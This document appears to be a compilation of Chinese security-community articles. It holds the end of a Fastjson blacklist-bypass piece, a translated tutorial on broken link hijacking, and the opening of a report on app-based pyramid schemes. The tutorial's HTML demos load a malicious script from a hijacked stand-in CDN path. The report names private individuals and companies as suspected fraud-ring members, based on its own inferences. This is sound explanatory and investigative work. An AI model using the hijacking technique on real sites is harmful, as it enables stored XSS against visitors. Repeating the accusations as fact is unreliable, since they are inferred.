就目前来说，针对Fastjson的攻防集中于对于`@type`的检测的利用以及黑名单的绕过这两部分。而从整体的运行逻辑上来看，由于Fastjson很多地方写的比较死，很难出现重新调用构造方法覆盖黑名单或者覆盖mapping的操作，所以就现在最新版的Fastjson而言是比较难以绕过防护措施的。
未来可以参考struts2 ognl的攻防手法，看是否能从置空黑名单或者操作mappings来尝试绕过防护。
# 0x04 Reference
* <https://github.com/alibaba/fastjson/commit/be41b36a8d748067ba4debf12bf236388e500c66>
* [http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/](http://xxlegend.com/2017/12/06/基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析/)
* * * | 社区文章 |
# 【技术分享】看我如何利用过期链接进行链接劫持
|
##### 译文声明
本文是翻译文章，文章来源：edoverflow.com
原文地址：<https://edoverflow.com/2017/broken-link-hijacking/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：100RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
当某个链接指向已过期的域名或页面时，就存在过期链接劫持（Broken Link
Hijacking，BLH）问题。过期链接劫持有两种类型，分别为反射型（reflected）以及存储型（stored）。这种问题在野外已经被多次利用，但奇怪的是，漏洞奖励项目中，很少有研究人员会积极主动寻找这类过期链接。
当目标链接指向已过期端点时，可能会出现各种问题，本文对这类情况作了大致介绍，希望读者能对此形成基本理解。
**二、存储型过期链接劫持**
**2.1 账户伪造**
当某个公司删除社交媒体账户时，他们可能会忘记在公司网站上移除相应链接。攻击者可以使用该用户名在社交媒体平台上创建相同账户，假冒这个公司。
**2.2 外部JS文件劫持**
如果某个目标包含外部JS文件，并且对应的域名或页面已经过期，那么攻击者就可以接管该域名或页面的控制权，最终达到存储型XSS攻击效果。
举个例子，example.edu使用了托管在example.com上的一个外部JS文件，并且example.com已过期。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<title>Broken Link Hijacking</title>
</head>
<body>
<script src="//example.com/script.js"></script>
</body>
</html>
现在，攻击者可以接管example.com，控制example.edu上的JS文件。
**2.3 信息泄露**
某些链接没有设置rel="noopener
noreferrer"属性，劫持这类过期链接可能会将[信息泄露](https://github.com/cure53/HTTPLeaks)给攻击者控制的页面。
有些时候，即使数据分析页面已过期，某些公司依然会链接到这些页面上。如果攻击者成功劫持这类过期页面，他们可以监控目标流量，有可能会收集到目标用户的有价值信息。现实生活中已有类似案例，有人曾经在[Gratipay](https://hackerone.com/reports/111078)程序中发现过这种情况。
**2.4 内容劫持**
通过接管已过期的域名或页面，攻击者可以劫持某个页面的内容。[@MisterCh0c](https://twitter.com/MisterCh0c)的博客中介绍过这样一个经典案例，读者可以阅读他写的这篇文章：“[如何劫持顶尖名人的推特（包括凯蒂·佩里、夏奇拉等）](https://hackernoon.com/how-i-hijacked-top-celebrities-tweets-including-katy-perry-shakira-fca3a0e751c6)”。
**三、反射型过期链接劫持**
当你发现目标存在反射型XSS漏洞，却发现无法跳出href或者src属性的限制时，这种感觉肯定非常难受。
如果某个链接由CDN或者文件托管服务所提供，那么攻击者可以构造恶意链接，在这类服务上托管目标文件。实话实说，这种情况非常罕见，但我们还是应该记住这一点，以便将来碰到时能做到有备无患。
**3.1 演示场景**
举个例子，http://example.edu/?version=1.0.0代码中引用了某个版本的JS文件，这个文件托管于cdn.example上。
<!-- http://example.edu/?version=1.0.0 -->
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<title>Broken Link Hijacking</title>
</head>
<body>
<script src="//cdn.example/1.0.0/script.js"></script>
</body>
</html>
而cdn.example允许我们添加自定义项目，托管恶意JS文件。
<!-- http://example.edu/?link=maliciouspath -->
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<title>Broken Link Hijacking</title>
</head>
<body>
<script src="//cdn.example/maliciouspath/script.js"></script>
</body>
</html>
**四、相关工具**
**4.1 broken-link-checker**
[broken-link-checker](https://github.com/stevenvachon/broken-link-checker)可以爬取目标，寻找过期链接。普通情况下，可以使用如下命令来运行这个工具：
$ blc -rof --filter-level 3 https://example.com/
如果出现误报，你可以添加额外参数，修正误报情况：
$ blc -rfoi --exclude linkedin.com --exclude youtube.com --filter-level 3 https://example.com/
**4.2 twitterBFTD**
misterch0c公布了一个小[脚本](https://github.com/misterch0c/twitterBFTD)，可以在推特中查找过期域名。
**五、参考链接**
****
<https://github.com/cure53/HTTPLeaks> | 社区文章 |
作者：[AVLTeam](http://blog.avlsec.com/2017/12/5083/paper/ "AVLTeam")
### 1 背景概述
现时一般语境下（包括本报告下文中所指）的“传销”专指我国境内认定为非法的传销行为，包括公认概念的“金字塔式销售”、“层压式推销”及部分形式的“多层次传销”，而在其他国家部分形式合法的“多层次传销”（Multilevel
Marketing，MLM）在我国境内及港澳台地区合法的存在形式往往称之为“直销”而非“传销”，在概念上需要作出区分。
自我国改革开放以来，各种形式的庞氏骗局（Ponzi
Scheme）结合诸如Amway（安利）、Herballife（康宝莱）等境外合法品牌及产品的分销体系，在我国快速落地生根，并迅速派生出“传销”这一概念。
“传销”行为往往具备庞氏骗局（Ponzi
Scheme）的特征，事实上属于一种诈骗行为，具体指组织者或者经营者发展人员，通过对被发展人员以其直接或者间接发展的人员数量或者销售业绩为依据计算和给付报酬，或者要求被发展人员以交纳一定费用为条件取得加入资格。随着更多人加入，“传销”组织的资金流入必然不足以供给支出，导致其骗局泡沫破灭。这不仅给处于“下线”的大量受害投资者带来往往难以估量的金钱损失，也对维持社会道德风尚、政治经济秩序稳定带来极大负面影响。
国务院1998年4月发布《关于禁止传销经营活动的通知》，之后于2005年11月颁布《禁止传销条例》，正式以法律形式对传销进行了界定；2009年7月，《刑法修正案（七）》第一次将传销认定为犯罪行为；2010年5月7日，《最高人民检察院、公安部关于公安机关管辖的刑事案件立案追诉标准的规定（二）》发布，也正是在这部规定中，第一次出现了“三级”的表述方式，即“涉嫌组织、领导的传销活动人员在三十人以上且层级在三级以上的，对组织者、领导者，应予立案追诉”。2013年11月14日，最高人民法院、最高人民检察院和公安部联合发布《关于办理组织领导传销活动刑事案件适用法律若干问题的意见》，对传销犯罪行为进一步作了规定，包括对“三级”的界定。
近年来，随着工商、公安机关等部门履行职责进行有效严厉打击，许多组织明确、参与人数较多的传销组织相继遭到查处，客观上解救了许多深陷传销骗局的受害者；但另一方面，部分顽固对抗的传销诈骗组织也因相关法律出台而迅速转入地下活动，其活动方式、传播模式更为隐蔽，所打的幌子也更为合法化，甚至利用公检法机构定义的“三级分销合法”以乱视听，作为其犯罪活动的合法外衣，加大了发现、打击、查处的难度，多年来给各省市的公共安全及社会长治久安带来了不小的隐患。据“中国反传销协会”及其他国内自发形成的反传销组织数据汇总，直至2017年中，包括但不限于河北、河南、湖北、湖南、天津、安徽、山西、江苏、四川、福建、云南、广西及宁夏等地区仍然属于“传销重灾区”。
图1-1 2017年中国“传销‘灾区’分布图” （数据来源：“中国反传销协会”，省份与严重程度对照详见报告末尾附表，台湾数据暂缺）
正如上图所示，尤其是进入互联网时代之后，这种“重灾区”的态势更是尤为凸显。随着互联网、电子商务、在线支付等信息技术的飞速发展，传销组织所使用的新式手段也层现迭出。诸如“专挑熟人下手”、“限制人身自由”、“对新入者上课洗脑”、“以昂贵的商品为媒介”等传统“北派”传销在现时报告的案例中已不占据主流，而借助互联网，以电脑（PC端）及手机、平板等移动通讯工具（移动端）上的应用程序或专题网站为载体所形成的“互联网传销”则俨然成为当前社会传销的新型模式：组织者和经营者通过互联网，以暴利为诱饵，赋予上线成员直接或者间接发展下线成员的权利，通过发展下线数量计算和给付报酬，达到非法牟利的违法犯罪目的。
互联网传销相较传统的传销诈骗活动，在危害范围、危害程度方面都更大，但进行任何形式的打击行为也都相较而言更难：一些传销诈骗组织开始以“电子商务”、“网络团购”、“网赚”、“网络直销”、“网络营销”、“网络代理”、“网络加盟”、“虚拟币投资”等名义拉人头发展下线，攫取巨额不法利益的同时，致使大量网民受害者深陷泥潭，遭受大额甚至巨额的经济损失；更有一些团伙精心筹划“擦边球”套路，以正规直销业务备案领取国家商务部颁发的直销许可，一定程度上规避监管的同时也打消了许多参与者的疑心，但实质上则是利用《直销经营许可》从事传销诈骗活动。
### 2 总体威胁态势分析
根据通过互联网获取的公开情报以及自主监测搜集的情报进行初步分析，安天移动安全情报分析团队发现，目前（2017年第四季度）仍然有大量涉及传销及相关诈骗活动的团伙以各种形式在我国互联网上活跃，其中，又以移动端应用及专题网站（包含PC端及为移动端优化过的子站点）为甚。
这些类型的应用及网站，往往通过以下几种方式进行传播：
• 线上群组推广传播，如QQ群、微信群等。
此种传播方式往往自成一个闭环，如群组可能伪装为“网赚”、“创客”、“兼职”、“报单”等合法的邀请制群组，受害者往往只能通过群组已有成员邀请加入，或是通过支付一定“入群费”加入，继而通过群内推广进入其平台（App或网站等），亦有利用群组本身进行直接传销的行为（多见于微信群，见图2-2）。受害者在单一群组中可能接触到多个与传销诈骗相关的平台，容易使单一用户遭受多次诈骗损失。
• 线上平台推广传播，如微博、贴吧、各类专题论坛甚至手游等。
此种传播方式往往本着“广撒网”的思路，通过传统的消息发布配合其具备吸引力的文案，进行其平台（App或网站等）推广；而推广平台也视乎其声称业务不同，可能以各类具备社交或聊天功能的平台作为推广载体。
• 线下熟人间推广传播。
此种传播方式更类似于传统线下传销，与其不同的是其以互联网平台（App或网站等）为传播及诈骗业务开展载体。
• 线下推广传播，如地铁公交站要求扫码，公共场合小广告贴条等。
此种传播方式一般通过扫码后的应用下载或扫码后进行人工营销达成，其模式与线下熟人推广较为类似，不过多赘述。
图2-1 某实质推广无限裂变套现工具的“网赚”QQ群状况截图
图2-2 某微信传销群组状况截图
为了更好地了解传销诈骗类事件对于我国国内移动端用户的影响面及影响程度，基于近期安天移动安全云端安全引擎监测及全网大数据收集的结果，安全情报分析团队从其中建模筛选出了可能与传销诈骗类事件相关的移动端应用30余项，其中近几个月仍然活跃，影响用户数量较多，可能造成较大不良社会、经济影响的十余项，如下表所示。
表2-3 可能与传销诈骗类事件相关的应用列表
基于安天移动安全云端安全引擎及大数据监测的数据结果，安全情报分析团队将可能与传销诈骗类事件相关的移动端平台（App应用及专题网站等）依据其所声称的名义业务类型进行分类；目前市面上仍然活跃，且与传销诈骗类可能具备关联的移动端平台，主要可分为以下几类：（此处分类与通常区分的类别意义不同，如“支付及理财类”应用包括利用支付工具、理财产品作为传销诈骗行为“幌子”的应用，下同）
* 购物及返利类
* 复利返佣游戏
* 虚拟货币类
* 金融互助类
* 支付及理财类
* 电信业务类
针对这些可能与传销诈骗类事件相关的App应用（下称相关应用）的分类统计过程中，各类相关应用影响面占比如下图所示：
图2-4 各类相关应用近期影响面占比示意图
上图是依据2017年9月至12月（12月数据截至中旬）相关监测数据进行的筛选统计结果。不难看出，作为传销诈骗行为承载平台的移动端应用中，影响面占比较大的的主要是支付理财类、购物及返利类以及新兴的复利返佣游戏应用，同时电信业务类、虚拟货币类、金融互助类也具备一定活跃度，但影响相对较小。
图2-5近期各类相关应用活跃走势图（按月）
上图反映了各类相关应用在2017年9月至12月的活跃用户走势状况，不难得出以下结论：
* 以购物及返利为名目的相关应用影响人数逐月走高，应与接近年底各传销组织下线业务需求增加有关；
* 支付及理财作为传销诈骗组织常用的名目之一，其相关应用整体影响人数较为平稳，且各月数据来看，也都具备一定的影响面；
* 新兴的复利返佣类游戏作为近年来传销诈骗组织所利用的新手法，就监测范围内的相关应用影响人数而言存在逐月下行趋势。但事实上，该类手法涉及的应用一般会构成一种“生态链”，通过平台性的设计持续地“推陈出新”，从其旧应用逐步下线到新应用纳入公众视线及监测范围则往往存在一段时间的延迟，所以不能简单地判断认为这一类相关应用活跃度降低。
图2-6 近期受相关应用影响用户数分省统计（单位：户）
如上图所示，安天移动安全根据相关应用2017年9月至12月的活跃用户状况进行分省统计，便于对作为传销诈骗承载平台的相关应用在各省的影响状况作出直观了解。
其中，受影响前五名的省份分别是河南省（103524户）、广东省（98502户）、广西壮族自治区（69351户）、山东省（49755户）以及福建省（48481户）；同时，浙江省（42604户，东部沿海）、湖北省（37433户，中部）、云南省（37092户，西南）、黑龙江（26722户，东北）等省份的影响状况也较为可观，需要在下一阶段采取相应措施，以提高对于相关类型传销诈骗活动的发现及打击力度。
### 3 常见手段及典型案例分析
以下章节，将针对每一类传销诈骗团伙所声称的名义业务类型，及其实施诈骗的具体模式，依据第2章中的分类选取其中较典型案例，对案例中可能与传销诈骗类事件相关的典型移动端平台（App应用及专题网站等）及其运营团伙进行分析，以供相关行业用户及公众充分了解，从而：
* 增强用户风险防范意识，尽可能使公众对常见的互联网传销，尤其是移动端承载的传销诈骗手段具备了解，从而在遭遇类似事件时具备甄别能力，避免上当受骗；
* 对传销诈骗团伙进行曝光，避免不法分子继续通过传销行为获利，造成相关诈骗的影响面、受害面进一步在社会上扩大，带来不良的社会影响及金融秩序影响。
#### 3.1 购物及返利类
这一类指以购物及相应返利作为传销行为“幌子”业务的应用App。其往往借助App承载其传销诈骗行为，声称用户通过App加入会员、缴费后消费，其消费额度能够得到一定比率返还；或通过现金消费送等额积分等形式，诱导消费者通过这些应用注册、消费，从而实施诈骗行为获利。
其中，目前常见的“购物及返利类”传销诈骗相关App 主要包含以下两种常见的模式：
* 收取入门费、发展下线、团队计酬的“消费返利” 借助“消费返利”名义，要求会员及加入者交纳入门费或者变相交纳入门费，靠发展下线及下线实际消费金额带来的的佣金获利。
* 不收取入门费、不存在团队计酬但发展下线的“消费返利”
通过网站购物平台发展联盟商家，注册网站的会员到联盟商家购物后，由商家交纳中介服务费至公司，公司再按照其声称的返还政策向消费者返还。为使之作为一种看似具备说服力的模式吸引受害者，部分公司甚至打出诸如“消费全额返利”的宣传口号。
这类模式已被大量投机者演变成“投资返利”，背离“消费返利”的本质，大量假消费、真投资的行为出现，致使这种模式完全背离初衷而成为一种混乱且难以管控的“金融游戏”，且这类模式发展速度极快，影响面较广。
事实上，“购物返利”、“返点”一类的行为在国外已成熟多年，大型电商诸如Amazon、eBay以及不胜枚举的线下大型零售商户都与相当数量的第三方返利运营商具备合作关系；但与上述两种涉及传销诈骗的模式不同，正常的返利及返点（Rewards）行为相当于企业以价格的一定比例进行返还现金促销，本质上不需要任何入门费；而国内外互联网多个销售领域成熟的推荐人制度（Affiliate)，其“上线”收益也不可能与实际交易笔数或后续交易额度挂钩，往往仅以推荐新会员注册个数而论，且对用户身份合法性、唯一性以及上线行为是否异常等因素具备明确且严格的判断机制。
图3-1 境外某旅行预订网站的详细推荐人制度条款（仅截取部分）
从上图中不难看出推荐人制度与传销活动中发展下线获利的区别，即正常运作的推荐人制度对上线推荐获利次数及下线真实身份等诸多方面均有严格限制，确保该制度在运行过程中不会因为人为因素而越界为类似“传销”的行为。
图3-2 各级政府部门多次对此类风险发布警示
针对这种情况，多地人民政府及相关部门均持续发出对与“购物返利”、“返利”尤其是“全额返本”类模式的预警提示，对各用户群体起到警示作用；而事实上，由于这一类传销活动往往以互联网为主要载体，较为隐蔽而难以根除查处，且其口号往往对一般逐利的用户具备较大吸引力，近年仍涌现出大批遭受购物及返利类传销活动诈骗的用户及案例。
##### 3.1.1 喵掌折扣
###### 3.1.1.1 现象
图3-1-1-1 喵掌折扣官方网站（<http://www.51mzzk.com>）
喵掌折扣是由杭州骥腾科技有限公司开发的一款应用平台。其声称自己是会员制的“移动社交电商导购平台”，且已与天猫、淘宝、京东等国内具备较大影响力的电商平台合作，能够实现加入商户的“一键分销，一件代发，全渠道推广”以及平台用户的购物返利，号称“颠覆淘宝客制度”。但以关键词在互联网进行资讯检索，发现有大量用户反映“喵掌折扣”属于具备传销特征及实质行为的平台，其“会员”体系实质上就是传统传销诈骗行为中的上下线架构，上线依靠发展下线，以及下线实际消费金额带来的的佣金获利，其“导购商城”模式只是幌子。
###### 3.1.1.2 作案方式
喵掌折扣利用用户希望获利的心理，出于大众普遍对“三级营销”合法与否不甚了解的信息不对等，构建了三个等级的用户体系：
* 第一等级的无门槛会员“省钱喵”，声称能够通过其平台实现类似淘宝客的合法返佣；
* 第二等级的会员“招财喵”需要缴费100元升级，升级后可以进行推广发展下线，从中获取佣金，同时也可以从下线使用优惠券的收益中获取佣金；但这一级别的会员有提现额度限制，仅300元。
* 第三等级的会员“富贵喵”声称提现额度不受限制，其他与第二等级的会员相同。
其通过“入门费”及发展下线，促使下线在平台消费等类似制度实现上线获取佣金、并给“喵掌折扣”运作公司带来利益的目的，本质上属于传销诈骗行为。
图3-1-1-2 喵掌折扣受害用户在互联网发布的宣传文案
###### 3.1.1.3 团伙背景
喵掌折扣官方网站及各种宣传途径中所声称的公司名为“杭州骥腾科技有限公司”，根据国家企业信用信息公示系统查询，该公司注册于浙江省杭州市西湖区西溪新天地商业中心7幢713室，其法人姓名为王鑫明，另有一名股东名为骆小菲，公司成立于2012年1月5日，曾于2017年3月被杭州市西湖区市场监督管理局列入过经营异常名录。
图3-1-1-3 移动端App中用到的域名信息，已开启隐私保护
通过对喵掌折扣移动端App进行交互数据包抓取分析，发现其中包含的多个域名与其官网域名51mzzk.com的Whois信息相似，都使用了阿里云注册商的隐私保护功能，无法得知其真实注册人；但其中有一个域名未开启隐私保护功能，如下图所示，其显示注册人确实为王鑫明，而公司为“杭州夺宝电子商务有限公司”，邮箱地址是[email protected]，其注册时间是2016年3月30日。
图3-1-1-4 移动端App中用到的域名信息
对“杭州夺宝电子商务有限公司”相关信息进行查询，在其变更一栏中发现，王鑫明在2016年11月8日前曾经是该公司股东，经过变更后不在名单内。
图3-1-1-5 杭州夺宝电子商务有限公司企业信息变更记载
因为这一由王鑫明注册的，归属于“杭州夺宝电子商务有限公司”的域名目前被用于喵掌折扣的移动端App内承载相关业务，且该域名至今并未进行过户、修改信息等处理，故有理由认为“杭州夺宝电子商务有限公司”与“杭州骥腾科技有限公司”可能存在一定联系。
同时，我们发现“杭州夺宝电子商务有限公司”最近一次的变更事宜记载了其法定代表人由原先的毛忠磊变为董俊楠，而毛忠磊至今仍然是“无锡优畅网络科技有限公司”的总经理与执行董事。通过公开情报对该公司进行查询，同样发现其可能涉及一款“优畅神讯”的网络电话传销骗局。该网络电话软件同样在互联网上遭到大量用户反映无法使用，或是反映属于传销活动。
图3-1-1-6 存在发展下线、分润行为的“优畅神讯”网络电话
图3-1-1-7 “优畅神讯”网络电话佣金提现制度
如上图所示，“优畅神讯”这一网络电话软件中的会员分润及“低级会员提现限制”制度也与“喵掌折扣”软件相似，其宣传口径中的与三大运营商合作也与“喵掌折扣”所声称的与各大电商平台合作如出一辙。同时，部分“优畅神讯”的推广者如下图3-1-1-8中所示，涉及使用或以一款夺宝客户端作为返点平台。结合毛忠磊在“杭州夺宝电子商务有限公司”担任过职位，以及该公司法人变更的突然性存在不合理之处，根据目前所掌握的线索，我们认为，存在“杭州夺宝电子商务有限公司”、“杭州骥腾科技有限公司”与“无锡优畅网络科技有限公司”具备类似团伙作案的可能性，而王鑫明、毛忠磊、董俊楠等人则可能属于团伙作案的成员。其利用相似的网络新型传销模式，配以不同行业的业务外壳，在多地注册公司并推出相应客户端，进行实质上的传销诈骗活动以获利。
图3-1-1-8 “优畅神讯”推广者截图中的“一元夺宝”字样
##### 3.1.2 红人装
###### 3.1.2.1 现象
图3-1-2-1 红人装官方网站（<http://www.hongrenzhuang.com>）
红人装是由深圳信人科技有限公司开发的一款应用平台，其声称自己“是一家以社交为基础、以视频为展示形式的服装购物新零售平台”，能够在各大电商的服装商品购买过程中提供返利。但同样的，互联网上亦有大量用户反映“红人装”属于具备传销特征及实质行为的平台，其中，大部分来源于公开情报的描述类似于“第一让你交钱成会员，第二让你发展下线继续牟利，第三让你骗取你亲人亲戚加入，最后还会让你再交680元店主管理年费”，也有类似于“红人装”受害者的信息反馈，如图3-1-2-2所示。
图3-1-2-2 红人装受害者家人在互联网上的信息反馈
其“会员”体系及“代理”层级，实质上就是传统传销诈骗行为中的上下线架构，上线依靠发展下线的佣金获利，甚至过程中“坑熟”的行为一如传统传销般广泛存在；同时，其中存在当前各类微商、直销渠道中较为惯用的“价格黑箱”手段，如下图所示所谓“定制微商产品”、“私人定制产品”都属于典型的价格黑箱，为“红人装”运作公司攫取不法利益的手段之一。
图3-1-2-3 红人装运作过程中的典型“价格黑箱”
###### 3.1.2.2 作案方式
为尽量打消用户疑心，使用户将其传销诈骗业务与合法的“淘宝客”营销返点活动与推荐人制度联系起来，“红人装”也设立了三个会员级别。
* 第一等级的“粉丝”：通过其平台免费注册，声称粉丝通过平台在各大电商平台购物即可享受40%的产品利润返佣；分享红人装个人二维码，推荐其他人加入，能够得到新加入者消费利润的20%返佣。
* 第二等级的“皇冠代理”：以198元购买平台“私人订制商品”就可成为皇冠代理，声称购物可享受产品利润50%返佣；推荐的用户升级为皇冠代理并购买“私人订制商品”，上线可获得70元返佣。
* 第三等级的“红人店（网红店）店主”：单用户零售累计10盒“私人订制商品”，最少拥有10个皇冠代理，每个皇冠代理最少拥有100个粉丝的情况下，缴纳680元/年店铺管理服务维护费，即可申请开启红人店。其声称“红人店店主”购买产品将得到产品利润90%的返佣；同时可以向平台3折批发私人订制商品，58元/盒，5盒起批。
其通过“入门费”门槛，同时通过设置会员“升级”的下线数量限制，促使各层会员发展下线，为下线灌输其“销售思维”，使得其在平台消费“价格黑箱”商品为上线及公司带来不法利益的同时，也积极地发展其自己的下线，本质上属于传销诈骗行为在互联网时代的“新型变种”。
###### 3.1.2.3 团伙背景
红人装官方网站及各种宣传途径中所声称的公司名为“深圳市信人科技有限公司”，根据国家企业信用信息公示系统查询，该公司注册于深圳市宝安区新安街道留仙二路万源商务大厦1栋518室，其法人姓名为于一，另有股东张晓文、张井龙与一家名为“深圳市长元海兴科技发展有限公司”的公司。公司成立于2014年3月10日。
对其法人名下其他关联的公司进行挖掘，发现其还拥有或参与以下几家目前仍处于存续状态的公司：
* 深圳市久韵国际贸易有限公司（与张井龙共同参与）
* 深圳市木及人本科技有限公司（与张晓文共同参与）
* 深圳市留得花科技有限公司（与张晓文共同参与）
* 西安红人装网络科技有限公司（与张晓文、张井龙共同参与）
* 深圳市不可创意电子商务有限公司
其中，“西安红人装网络科技有限公司”是红人装App运作过程中为了在西安开设实体店“落地”而注册的企业，注册于2017年1月，早于其实体店开设2个月；“深圳市木及人本科技有限公司”能够直接关联到的域名为
<http://tlgn365.com> ，其域名信息已开启隐私保护，但通过历史查询能够关联到 Yi
Yu，即前述“深圳市信人科技有限公司”法人，而其他企业则并未挖掘到其明确的，仍存续的实体业务。
图3-1-2-4 tlgn365.com 域名历史信息
同时，该域名在安天移动安全情报分析团队对红人装App进行数据包抓取分析的过程中，也发现其当前仍然承载着红人装App的业务，而并非与根域名首页一样，仅有自动生成的推广站，故可认为“深圳市木及人本科技有限公司”也可能与红人装相关业务具备一定联系。
对红人装官方网站hongrenzhuang.com
进行Whois域名信息查询，可发现该域名仍然在“深圳市信人科技有限公司”名下，由阿里云提供域名服务，如下图。
图3-1-2-5 hongrenhuang.com Whois 域名信息
##### 3.1.3 奢瑞小黑裙
###### 3.1.3.1 现象
相比喵掌折扣与红人装，“奢瑞小黑裙”则是一个更具备触犯“传销”相关法律风险的微商品牌。由于其自上线以来几度改变营销返润模式，类似“下线”的多级代言人推广机制也未具备有力且明确的监督方式，其声称加盟用户不在少数，覆盖城市数量也较多，一旦外部监管效果不佳，较易在发展过程中越界为传销行为，并给社会、经济秩序稳定带来一定负面影响。
奢瑞小黑裙成立于2015年8月，声称自己只是一家只出售黑色裙子的互联网服装品牌。其采取“DC+O2O+移动互联网+小黑裙文化”的创新分销模式，让利30%给消费者，并采取分化的返利政策与一种使消费者、经营者“即是传播者，也可以是消费者”的模式进行传播推广。
###### 3.1.3.2 作案方式
图3-1-3-1 “奢瑞小黑裙”代言人层级示意图
其官方客服对其会员制度的介绍是，“当您购买一条399元小黑裙时，您就会成为奢瑞的代言人，拥有专属二维码，通过扫您的二维码或者关注您的店铺链接购买的是您的一级代言人，您将得到10%的奖励；通过您一级代言人购买的是您的二级代言人，您会有10%的奖励”。这一制度虽然被声称为三层营销，但根据公检法《关于办理组织领导传销活动刑事案件适用法律若干问题的意见》中相关条文规定，对于营销层级的认定应该包含“组织者、领导者本人及本层级在内”，也即应该包含“奢瑞小黑裙”公司在内，实际应该为四层营销。从这一角度看，“奢瑞小黑裙”存在与现行有关传销法规相悖的可能。
值得一提的是，根据商务部，工商总局2016年第7号文《关于直销产品范围的公告》，即使“奢瑞小黑裙”属于合法分销的直销机制，其售卖商品“小黑裙”作为服装类商品，也并不包含在规定合法的6类直销产品中。
同时，由于其多级分销机制涉及“入门费”、“层级推广”，且其系统较大一部分依托于微信公众平台，曾被微信方面多次要求进行分销模式调整，甚至于2017年初遭到公众平台封号处理，因此才有了第2章中提到的“奢瑞小黑裙”App平台的产生；
其次，其大比重返佣的多级分销模式，导致每个用户从购买之初的考量即分为“商品本身的实用价值”与“发展下线，返佣牟利”两部分；而发展下线的部分，一般也都会以用户身边的关系圈作为“下线”人头的主要来源，本质上是一种“人情变现”，此类营销模式较易导致人际间信任危机产生。
###### 3.1.3.3 团伙背景
通过“奢瑞小黑裙”官方宣传材料及互联网公开情报检索得知，“奢瑞小黑裙”创始人为王思明，其个人背景信息在互联网上公开版本如下图：
图3-1-3-2 “奢瑞小黑裙”创始人信息互联网公开版本
通过浏览其官网<http://www.xiaoheiqun.com>
，我们只留意到该团体声称自己为“SOIREE奢瑞小黑裙”，而并未发现任何正式的公司及注册实体名称。通过对法人王思明名下的公司进行挖掘，我们能够得到其与“奢瑞小黑裙”相关公司的关系，如下图：
图3-1-3-3 “奢瑞小黑裙”相关公司关系示意图
根据此图，排除为“奢瑞小黑裙”注资的投资机构之后，我们发现，其创始人与以下公司具备关联性：
* 北京奢瑞电子商务有限公司
* 北京奢瑞小黑裙服饰有限公司
* 北京小黑裙国际文化传播有限公司
* 北京金九银十投资咨询有限公司
其中，王思明与列表中前三家公司均具备紧密职务联系，同时另一股东孙淑丽也与其在相应的三家公司占据管理职位。同时，根据奢瑞小黑裙官方网站xiaoheiqun.com的Whois域名信息，我们发现该域名归属于“北京小黑裙国际文化传播有限公司”。
图3-1-3-4 xiaoheiqun.com 域名Whois信息查询截图
并且，根据对“北京金九银十投资咨询有限公司”的企业信息变更记录进行挖掘，发现早在2014年12月之前，该公司即由王思明、孙淑丽共同管理，其时公司名称为“北京洪科餐饮管理有限公司”，而2014年12月该公司更名后，法人身份虽然转移给吴松，但此公司至今都为王思明独资，故有理由认为，上述四家公司与王思明、孙淑丽二人均存在较大可能的紧密联系，且这四家公司在“奢瑞小黑裙”整体业务运营中也可能起到了较大的作用，其核心应为“北京小黑裙国际文化传播有限公司”。
#### 3.2 复利返佣游戏
近年来，市面上活跃着大量“复利拆分盘”系统类型的系统定制服务，如下图中所示，有大量的小型软件开发公司提供源码级的相关代码开发服务。
图3-2-1 互联网上活跃的大量“复利拆分盘”源码定制服务
事实上，这一类系统从原理上而言属于传销诈骗行为的承载平台，故市场上才会有大量对此类应用系统的定制需求。其主要由复利盘系统和拆分盘系统组成：
* 复利盘系统主要为用户提供基于虚拟“股权”的交易，用户固定投资一笔资金后，每天可获得持续性的收益，但用户想要获得更多收益就要成为报单中心（类似于传统传销中的“上线”概念，即发展下线），获得更多提成；
* 所谓的拆分盘系统，则是在系统中通过售卖“股权”资格给首批参与投资的用户，当有更多的用户参与购买时，“股权”的价格就会上涨，等达到拆分价格或者是其倍数后，就会进行“股权”拆分，而前期的投资者就可以获得增长的收益。如果后期买入需求不足，那么前期的投入收益不会增长，也不会允许提现。
事实上，这种被称为“复利拆分盘”的骗局即当前热议的“虚拟币”前身，其原理相似，都是首先构造出具备声称价值的“股权”、“股份”或是“某某币”，并通过外部概念热潮及相关推广营销吸引用户投入法币（人民币、美元等具备一般等价物属性的货币），从而积累可观现金池，营造出其“股权”、“股份”或是“某某币”具备实际流通价值或一般等价物属性的假象。
但这些假象极易由各方面因素导致出现恐慌性的抛盘，继而出现整体崩盘的状况，导致参与者成为最终为骗局“兜底”，而始作俑者（即发行者、庄家）早已将其声称具备价值的“股权”、“股份”或是“某某币”卖空套现，携现金池潜逃。
宏观看来，整个系统是否可持续，一个重要考量指标就是无论产品或服务输出“是否能够对接实体经济”，如果没有对接实体经济，整个系统无法实现现实社会中价值的输出，则系统中任何“股权”、“股份”或是“某某币”的盘面大小、热度、复利只能靠后来加入者支撑，此类行为，本质上与庞氏骗局没有区别。
而本类所述的“复利返佣游戏”，则是“复利拆分盘”一类的骗局套上游戏外壳后的一种表现形式。其以类似复利盘、拆分盘的模式构建一款或多款游戏（且往往是热门游戏），并固定人民币与其中“游戏币”或“游戏道具”的兑换比率，建立一种与“复利拆分盘”并无二致的游戏生态，并以类似“玩游戏能赚钱”、“在游戏中理财”等为宣传口号进行推广，吸引受害者上钩；而往往用户达到一定数目，可能随时面临用户增长衰退的高风险时，游戏发行者（也即庄家）往往会携现金池潜逃，并选择在适当时机下线游戏，留下无法兑现的游戏生态与广大的受害者群体。
##### 3.2.1 英伦系列游戏
###### 3.2.1.1 现象
此章节所指的“英伦系列游戏”，即是市面上诸多具备传销诈骗性质的复利返佣游戏中影响面较大，性质较为恶劣的一系列游戏集合，包括但不限于“皮皮果”、“富丽果”、“英伦斗地主”、“英伦果园”、“英伦果大厦”、“英伦果商城”等，均为一自称为“新玩客网络技术有限公司”的团伙开发。
图3-2-2 该公司在微信公众号的宣传文字
